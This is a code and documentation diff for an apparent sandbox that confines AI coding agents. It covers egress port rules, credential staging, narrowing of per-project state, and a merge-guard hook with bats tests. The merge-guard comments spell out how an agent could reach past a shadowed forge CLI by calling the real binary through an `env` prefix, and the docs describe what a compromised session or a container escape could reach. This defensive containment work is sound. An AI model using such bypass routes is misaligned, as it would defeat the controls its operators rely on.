A configured key is mounted and loaded whatever the workflow, so an isolated
|
||||
session with no forge still holds a key that can reach a host over ssh.
|
||||
Withholding that for any launch whose workflow never pushes is
|
||||
[#392](https://gitbox.branderson.io/dejima/dejima/issues/392).
|
||||
|
||||
So: a narrower blast radius on the host and a narrower credential, not a
|
||||
stronger sandbox. The firewall, the credential boundary and the capability
|
||||
drops are unchanged, and a container escape is exactly as serious. The cost is
|
||||
that the conversation log, the epitaph and the exit-time audit are all off,
|
||||
because each reads host state this mode does not mount. See
|
||||
[Isolated sessions](configuration.md#isolated-sessions).
|
||||
|
||||
## The exit-time audit
|
||||
|
||||
`bin/dejima-audit` snapshots host-persistence surfaces before each run and
|
||||
@@ -507,6 +555,13 @@ record, so there is no slice to take - dejima gives each workspace a data
|
||||
directory of its own instead. Both reach the same place: a session sees its
|
||||
own project's history and no other's.
|
||||
|
||||
That is about the per-project state each harness keeps. It is not true of
|
||||
`~/.claude/backups`, `tasks`, `plans` and `sessions`, which are mounted
|
||||
read-write and shared by every project's sessions - what a session writes
|
||||
there, another project's session can read. See
|
||||
[#380](https://gitbox.branderson.io/dejima/dejima/issues/380), which has what
|
||||
was observed and why only the first of the four was free to fix.
|
||||
|
||||
### Claude Code: a slice of your own tree
|
||||
|
||||
- `~/.claude/projects` (session transcripts and per-project memory) is
|
||||
@@ -725,6 +780,17 @@ reads it host-side per request instead. Without it the proxy would
|
||||
withhold one file while dejima copied another, on every launch and whatever
|
||||
backend was selected.
|
||||
|
||||
**The same staging narrows the `projects` map to the launching project.** That
|
||||
map keys per-project state by absolute path, so copying all of it told a
|
||||
session the name of every project on the host, a sample of each one's
|
||||
filenames, and what each had cost - from inside a container whose claim is
|
||||
that it cannot learn what you do elsewhere. The launching project's path and
|
||||
anything under it are kept, because a session's working directory is routinely
|
||||
a worktree inside it. Both halves run on the one path that stages this file,
|
||||
including the re-seed for a backend whose credential IS this file and whose
|
||||
proxy is off: that one keeps the credential and narrows the map exactly as the
|
||||
other does.
|
||||
|
||||
**The residual the first two share is use-while-running.** A session that has
|
||||
been turned can spend your quota, ask the model anything, and read the answers
|
||||
- through the proxy, without ever holding the credential. That is inherent to
|
||||
@@ -981,8 +1047,10 @@ reasoning below is what both are built on.
|
||||
failing cleanly (confirmed against a real read-only copy of this file -
|
||||
upstream bug: [anthropics/claude-code#29162](https://github.com/anthropics/claude-code/issues/29162)).
|
||||
Instead, `dejima` generates a throwaway copy of the file at
|
||||
launch (seeded from the real file, same "generate a sandbox-specific
|
||||
file on the host" pattern as the generated settings override layer)
|
||||
launch (seeded from the real file with the credential dropped and the
|
||||
`projects` map narrowed to this project - see "staged, not mounted" above -
|
||||
the same "generate a sandbox-specific file on the host" pattern as the
|
||||
generated settings override layer)
|
||||
and mounts *that* read-write in its place; the copy is discarded,
|
||||
unmodified in the real file, when the session ends. A compromised
|
||||
session can add whatever it wants to `mcpServers` (or anything else in
|
||||
@@ -1340,13 +1408,37 @@ one.
|
||||
Nothing in a launch needs it open. A host-resident forge, a host-resident Loki
|
||||
and a self-served model endpoint are each reached through their own entry - by
|
||||
name, or as a literal address - and each lands in a set of its own with its own
|
||||
rules. Configuring one of those is how a host service becomes reachable.
|
||||
rules. Configuring one of those is how a host service becomes reachable, and
|
||||
it is that service that becomes reachable rather than the host: the clamp is
|
||||
matched **before** the wider class rules, so an address that is both the
|
||||
host's and an open-class entry's is still held to these ports.
|
||||
|
||||
For anything else, `EGRESS_HOST_PORTS` on the filter container takes TCP ports
|
||||
and low-high ranges, comma or space separated; `EGRESS_HOST_PORTS=any` restores
|
||||
the unclamped behaviour explicitly, and `EGRESS_HOST_ADDR=none` removes the
|
||||
entry altogether. A value that is not a port stops the container rather than
|
||||
becoming a rule nobody meant.
|
||||
`EGRESS_HOST_PORTS`, set in the environment you launch from, takes TCP ports
|
||||
and low-high ranges, comma or space separated. `EGRESS_HOST_PORTS=any`
|
||||
restores the unclamped behaviour explicitly, and `EGRESS_HOST_ADDR=none`
|
||||
removes the entry altogether. A value that is not a port stops the container
|
||||
rather than becoming a rule nobody meant.
|
||||
|
||||
**A destination you pointed at the host's own address gets its port added for
|
||||
you.** The two processes split that decision because neither knows both
|
||||
halves. The launcher knows which destinations this launch configured - a
|
||||
`[logging] loki_url`, a backend's `base_url` - and offers the ones it is sure
|
||||
of: an explicit `:port` on a literal address. The filter, which works the
|
||||
host's address out from its default route, keeps the port of each candidate
|
||||
whose address is the host's. Neither resolves a name.
|
||||
|
||||
What that leaves out is deliberate in both directions. A scheme default is
|
||||
not an explicit port, because a remote `https://loki.example.com` has none
|
||||
and adding 443 for it would open the host's own 443 - which on a box
|
||||
following
|
||||
[Behind another reverse proxy](remote-access.md#behind-another-reverse-proxy)
|
||||
is the proxy in front of the web terminal. And **a host-resident service
|
||||
configured by name needs its port set here by hand**, because a name is a
|
||||
destination neither process will resolve to decide what to open.
|
||||
|
||||
The policy's summary line is where a missing port shows up: `host <addr> on
|
||||
ports none` is why nothing can reach it - the session, and the log shipper
|
||||
that runs beside it.
|
||||
|
||||
### DNS is allowlisted too
|
||||
|
||||
|
||||
@@ -244,6 +244,8 @@ and no answer at all where it does not.
|
||||
So `dejima-devbox-hardener` is load-bearing rather than optional-and-nice.
|
||||
On a laptop, dejima is a hardened container and the honest description of what
|
||||
is under it is "your home directory, and dejima has nothing to say about it".
|
||||
[Using dejima on its own](#using-dejima-on-its-own) is what that leaves you
|
||||
with, and what to do about it.
|
||||
|
||||
**Load-bearing for what, exactly**, because the field's tiering invites a
|
||||
reading that project does not accept and has never claimed. A per-workload VM
|
||||
@@ -263,6 +265,81 @@ repository's behalf.
|
||||
**What this repository can do about that is say so**, which is the whole of
|
||||
this section. Nothing in dejima can bound its own host.
|
||||
|
||||
## Using dejima on its own
|
||||
|
||||
Most installs are this: dejima on a laptop or a workstation, and none of the
|
||||
sister projects. Everything above about the rows below the container is true,
|
||||
and it is about one threat, the least likely one on the list.
|
||||
|
||||
### What holds
|
||||
|
||||
The container row, in full. Nothing in it depends on another project.
|
||||
|
||||
- **Disk:** the workspace, the mounts you declare, and this project's own slice
|
||||
of harness state. Not your home directory, not `~/.ssh`, not your other
|
||||
projects ([security.md](security.md#one-projects-session-cannot-reach-anothers)).
|
||||
- **Network:** deny-by-default egress. No port on the host is open unless you
|
||||
named one, and a permitted name that answers with a private address is
|
||||
refused unless it is a destination you configured, so the LAN is out of
|
||||
reach unless you put it there
|
||||
([security.md](security.md#network-egress-firewall)).
|
||||
- **The model credential** stays on the host behind the credential proxy
|
||||
([security.md](security.md#the-model-api-credential-never-enters-the-container)).
|
||||
- **The forge:** whatever the token and key you hand the session can reach.
|
||||
- **Afterwards:** the exit-time audit reports changes to the host-side files a
|
||||
session could use to run code later, before your next `git` in that repo
|
||||
([security.md](security.md#the-exit-time-audit)).
|
||||
|
||||
Against [the ranked list](#ranked-by-what-is-actually-likely): items 1, 2 and 4
|
||||
are the container row's, and are handled the same with or without the stack.
|
||||
Item 3 depends on where your CI runs, not on your machine. Item 5 is a person
|
||||
deciding, with or without the stack. Item 6, escape, is the one the
|
||||
devbox-side projects exist for.
|
||||
|
||||
### What does not
|
||||
|
||||
- **An escape lands on your machine, as you.** Your home directory, your
|
||||
network position, your credentials. Nothing here bounds that.
|
||||
- **Pushing is code execution wherever your CI runs**, if the project has CI
|
||||
([security.md](security.md#ci-push-access-is-code-execution-elsewhere)).
|
||||
- **Nothing watches the machine between sessions.** The audit covers the
|
||||
surfaces it lists, for the window the session ran.
|
||||
|
||||
### Measured caution
|
||||
|
||||
None of these needs another project.
|
||||
|
||||
1. **Keep the kernel and the container runtime patched.** An escape needs an
|
||||
unpatched host or a working zero-day, and the first is the one you control.
|
||||
2. **Point repos at dejima that you would run yourself.** That is
|
||||
[an assumption](#what-this-tool-assumes) the rest rests on.
|
||||
3. **Give the sandbox its own identity**, with tokens scoped to the
|
||||
repositories it works on, so the forge's reach is what you granted rather
|
||||
than all of yours ([security.md](security.md#give-the-sandbox-its-own-identity)).
|
||||
4. **Decide about CI before granting push.** Hosted CI, a runner you are
|
||||
willing to lose, or no push at all (`[core] forge = none` with
|
||||
`[core] workflow = local-only`). Not a self-hosted runner with your LAN
|
||||
behind it ([ci.md](ci.md)).
|
||||
5. **Treat what a session hands you as its writing:** a command it asks you to
|
||||
run, a domain or dependency it asks you to approve, and every file in
|
||||
`share_dir` or a read-write mount. See
|
||||
[what mounting it costs you](remote-access.md#what-mounting-it-costs-you)
|
||||
before syncing those anywhere a desktop will open them.
|
||||
6. **Read the audit before your next `git` in that repo.** `[audit] strict`
|
||||
refuses a headless launch while CRITICAL findings are unacknowledged.
|
||||
7. **Leave the credential proxy on.** `proxy = off` is the one arrangement that
|
||||
puts the real model credential in the container.
|
||||
|
||||
### When the rest is worth adding
|
||||
|
||||
- **dejima-devbox-hardener**, when your machine sits on a network with things
|
||||
you would mind an escape reaching. It enforces from outside a VM, so the
|
||||
first step is moving dejima into one.
|
||||
- **dejima-ci-hardener, or hosted CI**, as soon as sessions push to a project
|
||||
whose CI you run yourself.
|
||||
- **dejima-guard**, when sessions run unattended long enough that "would I
|
||||
notice?" matters, and you have a second machine to run it from.
|
||||
|
||||
## Why a container, and not a microVM
|
||||
|
||||
The most frequent question about this project.
|
||||
|
||||
+22
-7
@@ -47,15 +47,30 @@ forge_commands="$(dejima_forge_commands | sort -u)"
|
||||
# shadow at a fixed path, which is what an agent reaching past a shadowed PATH
|
||||
# would type. It is also what the shadow itself compares, since that reads its
|
||||
# own basename.
|
||||
#
|
||||
# A later word counts only when it names a path, which is what divides the two
|
||||
# layers: a bare `gh` anywhere in a segment is the shadow's, because reaching
|
||||
# it means executing what PATH resolves, while a path names the real binary
|
||||
# directly and the shadow never runs. `env /usr/local/lib/dejima/forge/gh pr
|
||||
# merge 7` is both at once - a prefix word hiding the first position, and a
|
||||
# path stepping over the shadow - so without the path case it belonged to
|
||||
# neither. `echo gh pr merge 3` stays allowed, and must: it names the CLI
|
||||
# without running it, and the shadow it would run is not being bypassed.
|
||||
while IFS= read -r segment; do
|
||||
read -ra tokens <<< "$segment"
|
||||
[ "${#tokens[@]}" -gt 0 ] || continue
|
||||
self="$(basename -- "${tokens[0]}")"
|
||||
grep -qxF -- "$self" <<< "$forge_commands" || continue
|
||||
if ! dejima_forge_verdict "$self" "${tokens[@]:1}"; then
|
||||
echo "Blocked by merge-guard.sh: $DEJIMA_GUARD_REASON" >&2
|
||||
exit 2
|
||||
fi
|
||||
for i in "${!tokens[@]}"; do
|
||||
case "$i:${tokens[$i]}" in
|
||||
0:*) ;;
|
||||
*:*/*) ;;
|
||||
*) continue ;;
|
||||
esac
|
||||
self="$(basename -- "${tokens[$i]}")"
|
||||
grep -qxF -- "$self" <<< "$forge_commands" || continue
|
||||
if ! dejima_forge_verdict "$self" "${tokens[@]:$((i + 1))}"; then
|
||||
echo "Blocked by merge-guard.sh: $DEJIMA_GUARD_REASON" >&2
|
||||
exit 2
|
||||
fi
|
||||
done
|
||||
done < <(dejima_guard_segments "$command")
|
||||
|
||||
exit 0
|
||||
|
||||
+228
-6
@@ -569,6 +569,23 @@ write_defaults() { printf '%s\n' "$@" > "$CONFIG_DIR/defaults.conf"; }
|
||||
[[ "$output" == *"nonesuch"* ]]
|
||||
}
|
||||
|
||||
@test "the isolated mode has no config key, in any plausible spelling" {
|
||||
# --isolated is a flag and nothing else, on purpose: it changes what the
|
||||
# session IS rather than how much it may do, and a file that decided it
|
||||
# would make the next launch's answer to "where is my work" depend on a
|
||||
# line nobody reread. The schema is what holds that - an unknown key is
|
||||
# fatal, so every spelling someone might reach for has to stay unknown.
|
||||
local key
|
||||
for key in isolated isolate ephemeral no_workspace; do
|
||||
write_config '[core]' "$key = on"
|
||||
run lib config_validate
|
||||
[ "$status" -ne 0 ] \
|
||||
|| { echo "[core] $key was accepted, so the mode is settable from a file"; return 1; }
|
||||
[[ "$output" == *"unknown key"* ]] || { echo "$output"; return 1; }
|
||||
done
|
||||
return 0
|
||||
}
|
||||
|
||||
@test "an invalid value is fatal and names the key" {
|
||||
write_config '[audit]' 'keep = 0'
|
||||
run lib config_validate
|
||||
@@ -1385,12 +1402,14 @@ EOF
|
||||
|
||||
@test "the github forge with no push_token_file leaves the read-only GH_TOKEN alone at launch" {
|
||||
# forge_env_exports must not emit `GH_TOKEN=` (empty) when
|
||||
# push_token_file is unset: `-e GH_TOKEN=` on `docker
|
||||
# compose run` overrides docker-compose.yml's own `environment: GH_TOKEN:
|
||||
# ${GH_TOKEN:-}` entry - the one carrying the independent read-only
|
||||
# [github] token_file value every session is supposed to get regardless
|
||||
# of forge. Asserted on the actual argument list handed to `docker`, not
|
||||
# on a warning, so this catches the container-facing symptom directly.
|
||||
# push_token_file is unset: `-e GH_TOKEN=` on `docker compose run`
|
||||
# overrides docker-compose.yml's own `environment: GH_TOKEN:` entry - the
|
||||
# one carrying the independent read-only [github] token_file value every
|
||||
# session is supposed to get regardless of forge. (That entry reads
|
||||
# bin/dejima's SANDBOX_GH_TOKEN, which is the same value except for an
|
||||
# isolated launch; the override is what matters here either way.)
|
||||
# Asserted on the actual argument list handed to `docker`, not on a
|
||||
# warning, so this catches the container-facing symptom directly.
|
||||
FAKE_HOME="$(mktemp -d)"
|
||||
mkdir -p "$FAKE_HOME/.claude"
|
||||
echo '{}' > "$FAKE_HOME/.claude/settings.json"
|
||||
@@ -1943,6 +1962,27 @@ _real_agent() {
|
||||
|| { echo "the launch reached docker with no credential at all"; return 1; }
|
||||
}
|
||||
|
||||
@test "an empty ssh_key file with an agent running says the agent is still signing" {
|
||||
# The configuration nothing else would tell an operator about: the key is
|
||||
# configured, the launch starts, and pushes work - because the personal
|
||||
# agent is doing them, which is what a dedicated key is chosen to avoid.
|
||||
# No key is loaded, so the withdrawal above does not fire.
|
||||
local key
|
||||
_real_agent
|
||||
key="$(mktemp)"; chmod 600 "$key"
|
||||
|
||||
_agent_launch "$key"
|
||||
kill "$AGENT_PID" 2>/dev/null || true
|
||||
rm -f "$key"
|
||||
[[ "$AGENT_OUT" == *"names an empty file"* ]] \
|
||||
|| { echo "an empty key went unmentioned:"; echo "$AGENT_OUT" | tail -12; return 1; }
|
||||
[[ "$AGENT_OUT" == *"will sign for this session"* ]] \
|
||||
|| { echo "the consequence went unnamed:"; echo "$AGENT_OUT" | tail -12; return 1; }
|
||||
# And it is not a false alarm: the agent really does reach compose here.
|
||||
[ "$(sort -u "$AGENT_LOG")" = "SSH_AUTH_SOCK=[$AGENT_SOCK]" ] \
|
||||
|| { echo "the warning does not match what reached compose:"; sort -u "$AGENT_LOG"; return 1; }
|
||||
}
|
||||
|
||||
# The positive control for the test above: with no key configured the
|
||||
# forwarded agent really is the only way to push, and an empty one is worth
|
||||
# saying so before it fails deep into a session.
|
||||
@@ -3895,6 +3935,188 @@ EOF
|
||||
rm -rf "$workspace"
|
||||
}
|
||||
|
||||
@test "the staged ~/.claude.json carries the launching project's entry and no other" {
|
||||
# The projects map keys per-project state by absolute path, so a verbatim
|
||||
# copy tells a session the name of every project on the host, a sample of
|
||||
# each one's filenames (exampleFiles) and what each has cost. Narrowed for
|
||||
# the reason #104 narrowed the projects MOUNT: the whole map is every
|
||||
# project's (#380).
|
||||
_rw_setup
|
||||
workspace="$(mktemp -d)"
|
||||
# A worktree under the project, because a session's cwd routinely is one and
|
||||
# Claude Code keys that path separately - and a sibling whose path merely
|
||||
# begins with the project's, which is the comparison a bare prefix test
|
||||
# gets wrong.
|
||||
#
|
||||
# The other project's path is deliberately dull. Calling it anything
|
||||
# credential-shaped - "secret" was the first attempt - makes the staged
|
||||
# copy trip dejima's own credential scan, so the launch refuses and this
|
||||
# test passes on a refusal rather than on the narrowing it is named for.
|
||||
mkdir -p "$workspace/.worktrees/feature"
|
||||
cat > "$RW_HOME/.claude.json" <<JSON
|
||||
{"primaryApiKey":"sk-ant-api03-REAL-KEY-FROM-THE-HOST",
|
||||
"projects":{
|
||||
"$workspace":{"exampleFiles":["mine.py"],"lastCost":1},
|
||||
"$workspace/.worktrees/feature":{"exampleFiles":["branch.py"]},
|
||||
"${workspace}-sibling":{"exampleFiles":["sibling.py"]},
|
||||
"/home/someone/else/their-project":{"exampleFiles":["theirs.py"],"lastCost":99}},
|
||||
"numStartups":7}
|
||||
JSON
|
||||
write_config '[core]' "ssh_key = $RW_KEY" 'forge = none' 'workflow = local-only' \
|
||||
'harness = claude-code' '[harness.claude-code]' 'backend = anthropic'
|
||||
|
||||
local stub log staged
|
||||
stub="$(mktemp -d)"; log="$(mktemp)"; staged="$(mktemp)"
|
||||
cat > "$stub/docker" <<EOF
|
||||
#!/bin/sh
|
||||
[ -n "\$SANDBOX_CLAUDE_JSON_FILE" ] && cp "\$SANDBOX_CLAUDE_JSON_FILE" "$staged" 2>/dev/null
|
||||
exit 0
|
||||
EOF
|
||||
chmod +x "$stub/docker"
|
||||
HOME="$RW_HOME" PATH="$stub:$PATH" SSH_AUTH_SOCK= \
|
||||
run "$REPO_ROOT/bin/dejima" "$workspace"
|
||||
[ "$status" -eq 0 ] || { echo "$output"; return 1; }
|
||||
[ -s "$staged" ] || { echo "no staged ~/.claude.json was mounted"; return 1; }
|
||||
|
||||
# The project and anything under it.
|
||||
[ "$(jq -r --arg p "$workspace" '.projects[$p].lastCost' "$staged")" = 1 ] \
|
||||
|| { echo "the launching project's own entry is gone"; return 1; }
|
||||
[ "$(jq -r --arg p "$workspace/.worktrees/feature" '.projects[$p].exampleFiles[0]' "$staged")" = branch.py ] \
|
||||
|| { echo "a worktree inside the project was dropped"; return 1; }
|
||||
|
||||
# And nothing else, including the sibling a bare prefix test would keep.
|
||||
[ "$(jq -r --arg p "${workspace}-sibling" '.projects | has($p)' "$staged")" = false ] \
|
||||
|| { echo "a sibling path sharing the project's prefix was kept"; return 1; }
|
||||
[ "$(jq -r '.projects | has("/home/someone/else/their-project")' "$staged")" = false ] \
|
||||
|| { echo "another project reached the container"; return 1; }
|
||||
[ "$(jq -r '.projects | length' "$staged")" = 2 ] \
|
||||
|| { echo "wrong number of entries: $(jq -c '.projects | keys' "$staged")"; return 1; }
|
||||
grep -q 'theirs.py' "$staged" \
|
||||
&& { echo "another project's filenames reached the container"; return 1; }
|
||||
|
||||
# The rest of the file is why the copy exists, and the credential still goes.
|
||||
[ "$(jq -r '.numStartups' "$staged")" = 7 ] || { echo "lost app state"; return 1; }
|
||||
[ "$(jq -r '.primaryApiKey // "absent"' "$staged")" = absent ] \
|
||||
|| { echo "the console API key reached the container"; return 1; }
|
||||
rm -rf "$workspace" "$stub" "$log" "$staged"
|
||||
}
|
||||
|
||||
@test "the proxy-off re-seed narrows the projects map too" {
|
||||
# With the proxy off for a backend whose credential IS ~/.claude.json,
|
||||
# the staged copy is re-seeded so the key survives - and that was a plain
|
||||
# `cp`, which put every other project's entry back. Worse, it ran after
|
||||
# the credential scan had read the narrowed copy, so nothing ever looked
|
||||
# at what came back.
|
||||
_rw_setup
|
||||
workspace="$(mktemp -d)"
|
||||
cat > "$RW_HOME/.claude.json" <<JSON
|
||||
{"primaryApiKey":"sk-ant-api03-REAL-KEY-FROM-THE-HOST",
|
||||
"projects":{
|
||||
"$workspace":{"exampleFiles":["mine.py"],"lastCost":1},
|
||||
"/home/someone/else/their-project":{"exampleFiles":["theirs.py"]}},
|
||||
"numStartups":7}
|
||||
JSON
|
||||
write_config '[core]' "ssh_key = $RW_KEY" 'forge = none' 'workflow = local-only' \
|
||||
'harness = claude-code' '[harness.claude-code]' \
|
||||
'backend = anthropic-api-key' '[backend.anthropic-api-key]' \
|
||||
"credential_file = $RW_HOME/.claude.json" 'proxy = off'
|
||||
|
||||
local stub staged
|
||||
stub="$(mktemp -d)"; staged="$(mktemp)"
|
||||
cat > "$stub/docker" <<EOF
|
||||
#!/bin/sh
|
||||
[ -n "\$SANDBOX_CLAUDE_JSON_FILE" ] && cp "\$SANDBOX_CLAUDE_JSON_FILE" "$staged" 2>/dev/null
|
||||
exit 0
|
||||
EOF
|
||||
chmod +x "$stub/docker"
|
||||
HOME="$RW_HOME" PATH="$stub:$PATH" SSH_AUTH_SOCK= \
|
||||
run "$REPO_ROOT/bin/dejima" "$workspace"
|
||||
[ "$status" -eq 0 ] || { echo "$output"; return 1; }
|
||||
[ -s "$staged" ] || { echo "no staged ~/.claude.json was mounted"; return 1; }
|
||||
|
||||
# The credential is the point of this path, so it stays.
|
||||
[ "$(jq -r '.primaryApiKey' "$staged")" = sk-ant-api03-REAL-KEY-FROM-THE-HOST ] \
|
||||
|| { echo "proxy = off did not pass the credential through"; return 1; }
|
||||
# And nothing else came back with it.
|
||||
[ "$(jq -r '.projects | length' "$staged")" = 1 ] \
|
||||
|| { echo "the re-seed restored other projects: $(jq -c '.projects|keys' "$staged")"
|
||||
return 1; }
|
||||
grep -q 'theirs.py' "$staged" \
|
||||
&& { echo "another project's filenames reached the container"; return 1; }
|
||||
[ "$(jq -r '.numStartups' "$staged")" = 7 ] || { echo "lost app state"; return 1; }
|
||||
rm -rf "$workspace" "$stub" "$staged"
|
||||
}
|
||||
|
||||
@test "a backend needing no credential mounts no credential" {
|
||||
# P1, driven rather than grepped. The mount sat under
|
||||
# `elif [ -f ~/.claude/.credentials.json ]`, which fired for anything the
|
||||
# proxy branch did not take - including a backend whose credential kind
|
||||
# is none, the self-served arrangement docs/security.md calls the one with
|
||||
# nothing in the container to steal. The real subscription login was
|
||||
# mounted read-write into a session that had no use for it.
|
||||
#
|
||||
# The grep over the branch's conditions is in static.bats and would still
|
||||
# pass on a restructuring that tested the same words differently, which is
|
||||
# why this one reads the argv a launch actually produced.
|
||||
_rw_setup
|
||||
workspace="$(mktemp -d)"
|
||||
# A real-looking credential on the host, which is what there is to leak.
|
||||
printf '{"claudeAiOauth":{"accessToken":"sk-ant-oat01-REAL","refreshToken":"r","expiresAt":1}}\n' \
|
||||
> "$RW_HOME/.claude/.credentials.json"
|
||||
chmod 600 "$RW_HOME/.claude/.credentials.json"
|
||||
# cline rather than claude-code: a credential kind of none means a backend
|
||||
# the harness reaches directly, and claude-code speaks no API that has
|
||||
# one. This is the pairing the release pass reproduced it with.
|
||||
local cline_state; cline_state="$(mktemp -d)"
|
||||
write_config '[core]' "ssh_key = $RW_KEY" 'forge = none' 'workflow = local-only' \
|
||||
'harness = cline' '[harness.cline]' \
|
||||
"state_dir = $cline_state" 'model = m' 'backend = self-hosted' \
|
||||
'[backend.self-hosted]' 'base_url = http://127.0.0.1:11434'
|
||||
|
||||
_rw_launch "$workspace"
|
||||
[ "$status" -eq 0 ] || { echo "$output"; return 1; }
|
||||
grep -qF "$RW_HOME/.claude/.credentials.json:$RW_HOME/.claude/.credentials.json" \
|
||||
"$docker_log" \
|
||||
&& { echo "a self-served backend was handed the real credential"; return 1; }
|
||||
rm -rf "$cline_state"
|
||||
|
||||
# And the arrangement the mount IS for still gets it: this backend's
|
||||
# credential is that file, and the proxy is off for it.
|
||||
write_config '[core]' "ssh_key = $RW_KEY" 'forge = none' 'workflow = local-only' \
|
||||
'harness = claude-code' '[harness.claude-code]' \
|
||||
'backend = anthropic' '[backend.anthropic]' 'proxy = off'
|
||||
_rw_launch "$workspace"
|
||||
[ "$status" -eq 0 ] || { echo "$output"; return 1; }
|
||||
grep -qF "$RW_HOME/.claude/.credentials.json:$RW_HOME/.claude/.credentials.json" \
|
||||
"$docker_log" \
|
||||
|| { echo "proxy = off no longer mounts the credential it is for"; return 1; }
|
||||
rm -rf "$workspace"
|
||||
}
|
||||
|
||||
@test "a projects key that is not a map does not refuse the launch" {
|
||||
# Narrowing a `projects` that holds a string would error, and the staging
|
||||
# treats a jq failure as fatal - so an odd but parseable file would become
|
||||
# a launch that will not start, over a key with nothing in it to narrow.
|
||||
_rw_setup
|
||||
workspace="$(mktemp -d)"
|
||||
printf '{"projects":"not-a-map","numStartups":3}\n' > "$RW_HOME/.claude.json"
|
||||
write_config '[core]' "ssh_key = $RW_KEY" 'forge = none' 'workflow = local-only' \
|
||||
'harness = claude-code' '[harness.claude-code]' 'backend = anthropic'
|
||||
local stub staged
|
||||
stub="$(mktemp -d)"; staged="$(mktemp)"
|
||||
cat > "$stub/docker" <<EOF
|
||||
#!/bin/sh
|
||||
[ -n "\$SANDBOX_CLAUDE_JSON_FILE" ] && cp "\$SANDBOX_CLAUDE_JSON_FILE" "$staged" 2>/dev/null
|
||||
exit 0
|
||||
EOF
|
||||
chmod +x "$stub/docker"
|
||||
HOME="$RW_HOME" PATH="$stub:$PATH" SSH_AUTH_SOCK= \
|
||||
run "$REPO_ROOT/bin/dejima" "$workspace"
|
||||
[ "$status" -eq 0 ] || { echo "an odd projects key refused the launch: $output"; return 1; }
|
||||
[ "$(jq -r '.numStartups' "$staged")" = 3 ] || { echo "the copy lost its state"; return 1; }
|
||||
rm -rf "$workspace" "$stub" "$staged"
|
||||
}
|
||||
|
||||
@test "a console API key in ~/.claude.json does not reach the container" {
|
||||
# Found on a real desktop launch. A Claude Code signed in with a console
|
||||
# API token keeps the key as a top-level primaryApiKey in ~/.claude.json,
|
||||
|
||||
Vendored
+9
-3
@@ -21,6 +21,9 @@ import select
|
||||
import sys
|
||||
import time
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
import loadscale # noqa: E402
|
||||
|
||||
# The default is the credential scan's prompt. --marker takes another, so a
|
||||
# test for a different prompt does not need a second copy of this.
|
||||
MARKER = "[s/a/o/r]"
|
||||
@@ -33,9 +36,12 @@ AMBIENT = "Press Enter to continue"
|
||||
# An IDLE timeout: how long to wait with no output before giving up. Generous
|
||||
# because the thing it guards against is a command that never finishes, and
|
||||
# any finite bound catches that - while a tight one just times the machine.
|
||||
# Sixty seconds was enough on an idle box and not enough under the full gate,
|
||||
# where every suite runs at once (#295).
|
||||
TIMEOUT = 240.0
|
||||
#
|
||||
# Multiplied by how oversubscribed the run asked the machine to be, rather than
|
||||
# raised again the next time it is not enough: this one went from sixty seconds
|
||||
# to this because sixty was ample on an idle box and expired under the full
|
||||
# gate, which is the shape of guess loadscale exists to stop (#295).
|
||||
TIMEOUT = loadscale.deadline(240.0)
|
||||
|
||||
|
||||
def main():
|
||||
|
||||
Vendored
+43
@@ -0,0 +1,43 @@
|
||||
"""How much longer a bounded wait should be given on a loaded machine.
|
||||
|
||||
The suites here wait on things that take as long as the machine makes them take
|
||||
- a pty reaching raw mode, a shipper polling, a prompt being answered - and
|
||||
each wait has a deadline. A deadline that is right on an idle box is wrong
|
||||
under the gate, which runs every suite at once, and lengthening it until both
|
||||
work means guessing a number that is generous in one place and useless in the
|
||||
other (#295).
|
||||
|
||||
So the runner says how much concurrency it asked for, and the deadline is
|
||||
multiplied by how oversubscribed that makes the machine. Nothing gets shorter
|
||||
than it is today: the multiplier floors at 1, so an idle run and a run with no
|
||||
variable set behave exactly as before.
|
||||
|
||||
Capped, because this is a multiplier on a timeout: a variable set wrongly, or a
|
||||
machine reporting one core, would otherwise turn a test that should fail in
|
||||
seconds into one that hangs for the length of the CI job.
|
||||
|
||||
DEJIMA_TEST_CONCURRENCY is how many tests the runner intends to have in flight
|
||||
at once. test/run-confined.sh sets it to the budget it divided among the
|
||||
suites; the CI workflow sets it to what it passes bats. Neither is a guess
|
||||
about load - it is what that runner asked the machine for.
|
||||
"""
|
||||
import os
|
||||
|
||||
MAX_SCALE = 4.0
|
||||
|
||||
|
||||
def scale():
|
||||
"""The multiplier, >= 1.0 and <= MAX_SCALE."""
|
||||
try:
|
||||
want = int(os.environ.get("DEJIMA_TEST_CONCURRENCY", "0"))
|
||||
except ValueError:
|
||||
return 1.0
|
||||
if want <= 0:
|
||||
return 1.0
|
||||
cores = os.cpu_count() or 1
|
||||
return max(1.0, min(MAX_SCALE, want / float(cores)))
|
||||
|
||||
|
||||
def deadline(seconds):
|
||||
"""A bounded wait, lengthened for the concurrency this run asked for."""
|
||||
return seconds * scale()
|
||||
Vendored
+11
-3
@@ -25,6 +25,9 @@ import sys
|
||||
import termios
|
||||
import time
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
from loadscale import deadline # noqa: E402
|
||||
|
||||
HELPER = os.path.abspath(sys.argv[1])
|
||||
SHELL = sys.argv[2] if len(sys.argv) > 2 else "bash"
|
||||
# Required, not defaulted. The fallback was "/tmp", and the three paths below
|
||||
@@ -200,7 +203,7 @@ def pump(seconds):
|
||||
|
||||
def expect(text, timeout=8.0):
|
||||
"""Wait for text to appear in output since the last call to forget()."""
|
||||
end = time.time() + timeout
|
||||
end = time.time() + deadline(timeout)
|
||||
while time.time() < end:
|
||||
if text in "".join(seen):
|
||||
return True
|
||||
@@ -238,7 +241,7 @@ def reclaimed():
|
||||
|
||||
|
||||
def await_reclaim(timeout=10.0):
|
||||
end = time.time() + timeout
|
||||
end = time.time() + deadline(timeout)
|
||||
while time.time() < end:
|
||||
if reclaimed():
|
||||
return True
|
||||
@@ -259,8 +262,13 @@ def await_raw(timeout=15.0):
|
||||
scheduling later. Sampling the flags right after fg was timing the machine,
|
||||
and on a loaded one it read the shell's own canonical mode and reported it
|
||||
as a failure to restore - the same shape as the reclaim wait above.
|
||||
|
||||
Every bound in this file is multiplied by how oversubscribed the run asked
|
||||
the machine to be (loadscale), because lengthening them until both an idle
|
||||
box and the full gate pass means picking a number that is wrong in one of
|
||||
the two. They are unchanged when nothing says otherwise.
|
||||
"""
|
||||
end = time.time() + timeout
|
||||
end = time.time() + deadline(timeout)
|
||||
while time.time() < end:
|
||||
if raw_restored():
|
||||
return True
|
||||
|
||||
+606
-1
@@ -61,6 +61,11 @@ launch_setup() {
|
||||
cat > "$LAUNCH_DIR/docker" <<'EOF'
|
||||
#!/bin/bash
|
||||
